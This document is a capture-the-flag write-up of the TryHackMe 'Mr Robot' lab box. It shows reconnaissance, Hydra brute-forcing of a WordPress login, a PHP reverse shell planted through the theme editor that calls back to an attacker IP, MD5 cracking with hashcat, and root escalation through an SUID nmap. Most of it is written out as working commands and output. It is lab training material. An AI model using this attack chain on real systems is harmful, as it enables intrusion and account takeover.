Three hidden keys: robots.txt recon, WordPress brute-force to a reverse shell, MD5 hash cracking, and SUID nmap privilege escalation
A beginner-friendly Linux box themed on the TV show. The goal is to recover three keys. We start by reading robots.txt to grab the first key and a password dictionary, enumerate a WordPress install, brute-force the login with Hydra, drop a PHP reverse shell through the theme editor, crack a user's MD5 password hash to read the second key, and finally abuse an SUID nmap binary to become root and read the last key.
A full TCP scan shows SSH filtered and a web server listening on both HTTP and HTTPS. The web app is where everything happens.
$ nmap -sV -sC -p- -oN nmap.txt 10.10.10.10 PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd
Always check /robots.txt. The listed files are directly reachable in the browser — one is the first key, the other is a dictionary we'll need for brute-forcing.
$ curl http://10.10.10.10/robots.txt User-agent: * fsocity.dic key-1-of-3.txt # Open them in the browser: # http://10.10.10.10/key-1-of-3.txt -> first key # http://10.10.10.10/fsocity.dic -> ~858k-line wordlist $ curl http://10.10.10.10/key-1-of-3.txt 073403c8... # KEY 1
Brute-forcing directories confirms this is a WordPress site — the /wp-login.php and /wp-admin paths are our way in.
$ gobuster dir -u http://10.10.10.10 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html -o gobuster_results.txt
/wp-login.php (Status: 200)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/license.txt (Status: 200)
/robots.txt (Status: 200)When reviewing enumeration output (or proxying requests through Burp Suite), status codes tell you what's worth chasing — focus on 200 (content), note 301/302 redirects, and treat 403 as "something exists but is locked".
2xx Success 200 OK · 201 Created 3xx Redirect 301 Moved Permanently · 302 Found · 304 Not Modified 4xx Client 400 Bad Request · 401 Unauthorized · 403 Forbidden · 404 Not Found 5xx Server 500 Internal Error · 502 Bad Gateway · 503 Unavailable
WordPress leaks whether a username exists: a bad user returns "Invalid username", while a valid one returns "incorrect password". We abuse that oracle with Hydra and the fsocity.dic list to find the valid account. (Sorting the list unique first makes this far faster.)
# de-duplicate the wordlist
$ sort -u fsocity.dic -o fsocity-uniq.dic
# enumerate the username (filter on the "Invalid username" response)
$ hydra -L fsocity-uniq.dic -p test 10.10.10.10 \
http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 30
[80][http-post-form] login: elliot password: test
# -> "elliot" is a valid usernameNow fix the username and brute-force the password against the "incorrect password" failure string.
$ hydra -l elliot -P fsocity-uniq.dic 10.10.10.10 \
http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:incorrect password" -t 30
[80][http-post-form] login: elliot password: **********
# -> valid WordPress credentials, log in at /wp-adminWith admin access, WordPress lets you edit theme PHP. Replace an unused template (e.g. 404.php) with a PHP reverse shell (pentestmonkey), setting your attacker IP (tun0, the VPN interface — not ens5) and a listening port. Then start a netcat listener and trigger the page.
# 1) In Appearance > Theme Editor, paste php-reverse-shell.php into 404.php # set: $ip = 'YOUR_TUN0_IP'; $port = 1337; # 2) Start the listener $ nc -nlvp 1337 # 3) Trigger the template in the browser # http://10.10.10.10/wp-content/themes/<theme>/404.php listening on [any] 1337 ... connect to [YOUR_TUN0_IP] from (UNKNOWN) ... $ whoami daemon
The raw shell is clunky. Check Python is present, then spawn a real PTY so you get tab-completion, history and the ability to use su.
$ which python
/usr/bin/python
$ python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then on your host:
$ stty raw -echo; fg
$ export TERM=xtermIn /home/robot the second key is readable only by the robot user, but its password MD5 sits right next to it in a world-readable file. Crack it, switch user, and read the key.
$ cat /home/robot/password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b # MD5 = hashcat mode 0 (see the example-hashes table) $ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt # (or paste the hash into crackstation.net) c3fcd3d76192e4007dfb496cca67e13b: ********** $ su robot Password: ********** $ cat /home/robot/key-2-of-3.txt 822c7395... # KEY 2
Run LinPEAS for an automated sweep, then confirm the finding manually by listing SUID binaries. An old nmap with the SUID bit set stands out.
$ ./linpeas.sh # confirm SUID binaries manually $ find / -perm -4000 -type f -ls 2>/dev/null ... -rwsr-xr-x 1 root root /usr/local/bin/nmap <- SUID nmap
Per GTFOBins, an SUID nmap that supports the legacy interactive mode can spawn a shell that keeps the root euid. That shell reads the final key.
$ nmap --interactive nmap> !sh # sh with euid=0 $ id uid=... euid=0(root) $ cat /root/key-3-of-3.txt 04787dde... # KEY 3 -> machine rooted
DISALLOW_FILE_EDIT), salted modern hashing, and strip unnecessary SUID bitsClick any tool below to access official documentation and reference guides
# ROAHACKS - TryHackMe Mr Robot | Published: October 5, 2026